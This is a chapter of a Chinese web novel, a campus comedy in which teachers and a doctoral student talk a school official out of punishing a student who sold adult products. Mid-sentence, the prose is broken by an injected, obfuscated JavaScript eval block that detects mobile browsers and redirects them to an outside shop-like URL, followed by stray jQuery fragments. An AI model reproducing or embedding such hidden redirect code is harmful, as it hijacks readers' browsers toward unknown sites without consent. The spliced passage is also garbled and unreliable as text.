在江无远诧异的目光中,博士站起身来。
她还先理了理衣服下摆,才镇定自若开始演讲:
“王仁才主任,你刚才的言行有三点不妥。第一,你不尊重校规。校规虽然不是法律法规,但也是成文文件,不是儿戏。出售成人用品,并没有违反校规。你擅自扩大校规惩处范围,是一种越权行为。”
“第二,你不尊重隐私。这本来是学生家长和教务处之间的纠纷,理应由校方和家长先交涉。就算要和学生谈话,也应该在保障学生隐私的前提下进行。但你不仅叫来了与此事情关系不大的学院院长,还在办公室大声议论。最过分的是,你向学生家长透露了肖飞飞同学的个人信息。因为你的不严谨,肖飞飞同学的隐私受到了严重侵害。”
“第三,你不尊重学生。你是一个有权势的男性领导,在其他教职工到场之前,单独对女学生进行训话,并使用了‘有伤风化’‘不要脸’等过激表达。这是严重的霸凌和性骚扰,我相信学校不会姑息这种行为。”
由于过于震惊,竟然没有人想到要阻拦她一下,博士就这么水灵灵地三杀王仁才。
江无远尤为震惊,她主要震惊的是,这副藐视权威的模样,这理不直气也壮的架势,这淬了毒的小嘴,怎么那么像贺鸣云?
现在不流行谦谦君子了?现在搞学术的,都是这一款?
王仁才显然被激怒了,脸色由白转红再转青,顿顿上前两步。
“你谁啊你?有没有教养,怎么跟老师说话呢?”
江无远赶紧伸手拦他,挡在两人中间。
“王主任,有话好好说,吓唬小孩子干嘛?”
剑拔弩张之时,博士突然看向门口,淡定的脸上出现了一丝裂痕,语气也有一丝波动:“你怎么来了?”
江无远往门口一看,愣住了。
好了,大小犟种聚会。
贺鸣云来了。
*****
江无远想问“你来干嘛”,但故事才进行到第十二章,她跟贺鸣云没那么熟,还没到报备行程的时候。
好在徐院长先问了:“贺教授?你来做什么?”
看看,不愧是新闻传播学院的领导,颇有记者风范。
贺鸣云指了指博士:“这个是我带的博士生。”
难怪呢,简直一个模子刻出来的。江无远想笑,忍住了。
贺鸣云站到江无远身边,语气平淡地对王仁才说:“王主任,我来接我学生。”
王仁才气得跳脚:“你学生,你学生?贺教授,你知道她干嘛了吗?你听到她刚刚说什么了吗?”
贺鸣云实事求是:“我刚来,没听全。要么让我学生再说一次,我听听看?”
王仁才被贺鸣云噎了下,但又不好直接对他发作。
贺鸣云最近正在做一个国家社会科学基金项目,申报试点工程能加好几分,校领导很重视。跟靠工龄长勉强混成院长的徐院长不一样,贺鸣云科研实力过硬,又是个卷王,未来大概率会卷出一番成就。
更何况,王仁才还隐隐听说,某副厅级干部的女儿,法学院的刘老师,对贺鸣云有点意思,这小子还有希望天花乱赘、一步上位,少走二十年弯路。指不定哪天就成了他的上级,实在不好现在跟他结下梁子。
再说了,贺鸣云的博士生又没参与买卖,就是来凑个热闹,确实也没必要非要跟贺鸣云过不去。
王仁才左思右想,决定还是捏江无远这颗最年轻、职称最低的柿子:
“江老师,你看看你教的学生,不知羞耻!把其他学院的学生都带坏了。”
江无远平时的好脾气本就是装的,骗一键三连的温柔知性人设罢了,私底下她可是抽奖喝汤都来的。此时冲冠一怒为学生,拍案而起:
“怎么不知羞耻了?你家都生三胎了,我学生还未婚未育,谁不知羞耻啊?”
贺鸣云被她吓了一跳,默默后退了半步。
“情趣用品不是洪水猛兽,不是违禁品,它跟零食、玩具没什么区别。难道你不买?你不用?怎么可能,你们结婚都多少年了?”
王主任和徐院长逃避江无远的眼神拷问,不吱声。
她的目光顺势落在贺鸣云脸上,贺鸣云不知为何,觉得自己有义务对江无远事事有回应、问问有答复。
“我没结婚,我也没买……”贺鸣云被江无远瞪了一眼,顺势改口,“额,买,买的!成人用品,意思就是,成年人基本都会买,基本。”
江无远用眼神鼓励他继续说。
要他说什么啊?这个领域他不懂啊?
贺鸣云冥思苦想,开始了他的表演:“随着社会发展,我们对情趣用品的认知在发生变化,情趣用品从伤风败俗的淫器,逐渐演变为追求生活品质的生活用品,大众正在对情趣用品去污名化。”
他说得一本正经,王主任脸色铁青,徐院长不知道在想什么,他一会儿看看贺鸣云,一会儿又看看江无远,可能是在嗑CP。
江无远积极响应:“贺教授说得对!各位老师,各位同事,冰洋大学是一所顶尖大学,学术研究、人文氛围、创新精神都走在前列。21世纪了,我们作为接受过高等教育、还在高等教育行业工作的老师,对成人用品的认识不能这么落伍,不能还谈性色变。”
贺鸣云受到鼓励,继续说:“在性别政治领域,有学者认为,情趣用品让女性能够在不依赖男性的情况下获得性愉悦,这挑战了传统的父权制性关系,在解放女性思想方面有革命性的意义。”
贺教授的人设是这样的吗?肖飞飞很困惑,他不是特别凶、特别无聊、特别死板吗?
江无远注意到王仁才的脸色,为避免封建领导破防,顺势做出让步:“但同时,应该注意到,并不能说情趣用品加剧了两性对立,正好相反,有研究是关于现代科技如何渗透两性领域、改善双方体验的。”
贺鸣云略一思忖,说:“嗯,这会让女性思考,我需要什么样的性生活?我需要什么样的伴侣?也会让男性思考,我如何完成对父权制婚姻和性的超越,追求令伴侣双方都满意的关系?我如何成为一个更体贴、开放、有技巧的伴侣?”
江无远心里觉得太遗憾了,贺鸣云怎么会这样?思想水平站在喜马拉雅之巅,情商爱商却处于马里亚纳海沟,可惜了。
她补充道:“而且这还提供了一种新的可能,将两性从欲望中解放,鼓励个体去追求独立、自主、悦己的生活方式,加强身份认同。举个例子,对亚文化社群而言,某些成人用品不仅是一款产品,更是群体身份的物质载体,它关系到亚文化社群内部的信息分享、伦理共识和身份认同。”
王主任和徐院长两个绝望的老直男,茫然无措,对视了一眼。
“你们到底想说什么?”
贺鸣云如梦方醒,被江无远牵着鼻子走,对情趣用品侃侃而谈了半天,这才意识到自己身处何地、面对何人、为何而来。
他尴尬地清了清嗓子,说:“我想说的是,销售推广成人用品是正常的商业行为,买方年满十
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093562|195550||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
八岁,有完全民事行为能力,交易不涉及欺诈、胁迫——”
肖飞飞插嘴:“而且我还没收钱!”
贺鸣云点点头,接着说:“卖方还没有获利,买方家长的投诉行为站不住脚。教务处不应该为了家长的无理诉求,对学生施加莫须有的罪名。”
博士补充:“就是,我重申一遍,售卖成人用品不属于违反校规行为,不信我马上打印一份校规给你们看。”
贺鸣云瞪了她一眼,博士假装没看见。
江无远已经适应贺鸣云一本正经摆谱、她虚情假意和稀泥的混合双打打法,又摆出了录视频时的营业微笑:
“王主任,徐院长,我们的立场是一致的,都不想这件事闹大,给学校和学生带来压力。给学生记过,反而可能激起舆论反应,起到反面效果。”
她看着王仁才,诚恳地说:“王主任,最近是期末,我知道您很忙,帮家长和学生妥善解决了很多麻烦。本来不应该用这种小事麻烦您,但我相信,我们保护学生、大事化小小事化了的初衷是一样的。”
王仁才面色稍缓:“但这件事总得有个交代,我要拿出个处理结果给家长。”
江无远一笑:“我有办法,不仅能解决投诉,还能给校方涨面子。”
“什么办法?”
“徐院长,您记得上学期,我们学院搞了个宣传性同意和避孕知识的公益活动吗?
王仁才看了徐院长一眼,徐院长表示肯定:“有这么回事,江老师带着学生做的,反响比较好,党政办还发过微信公众号。”
“我闺蜜哥哥在第一人民医院工作,一医最近准备举办一个两性知识宣传公益活动,他们来联系我,希望以冰洋大学为圆心,在大学城进行辐射宣传。”
王仁才眼珠子一转,和省级事业单位、社会组织合作举办活动,最高可以给学校试点工作加2分!
江无远递给肖飞飞一个眼神,肖飞飞心领神会,诚恳道:“主任,院长,经过你们的教育,我深深认识到了我行为的不当之处,我只考虑了商业效果,没有意识到可能存在的负面舆论。为了表示歉意和悔改的决心,我会联系厂家,配合医院和学校的联合宣传活动,免费派送避孕套,为活动造势,也算是为减少女大学生意外怀孕做贡献。”
王仁才前两天才处理了一起女生意外怀孕导致休学的案子,想想觉得也是好事,抓着肖飞飞教育了几句,便勉为其难地答应了。
*****
事情解决,徐院长懒得跟江无远东拉西扯,径直走了。
江无远领着肖飞飞,贺鸣云领着他的博士生,四个人默然无语,走出了教务处。
最先开口的是博士:“你怎么知道的?”
贺鸣云言简意赅:“马院长在教务处的眼线听说了,转告我的。”
博士更言简意赅:“又不是大事,多管闲事干嘛。”
贺鸣云面无表情,但根据江无远对他的初步了解,他应该是在生闷气。
江无远好心调节气氛,对博士说:“小钟同学,怎么这么说?你是贺教授的博士生,你有事当然要找他,他不是来保护你了吗?”
博士“切”了声,嘟囔:“谁知道是来保护谁的。”
她随口这么一说,另外三个人却都听进了心里。
江无远怀疑地看了眼贺鸣云:谁?我吗?
贺鸣云惊恐地错开眼神:什么?在说我吗?
肖飞飞:谁?什么?社会科学学院的杀手,在追我们学院的女神吗?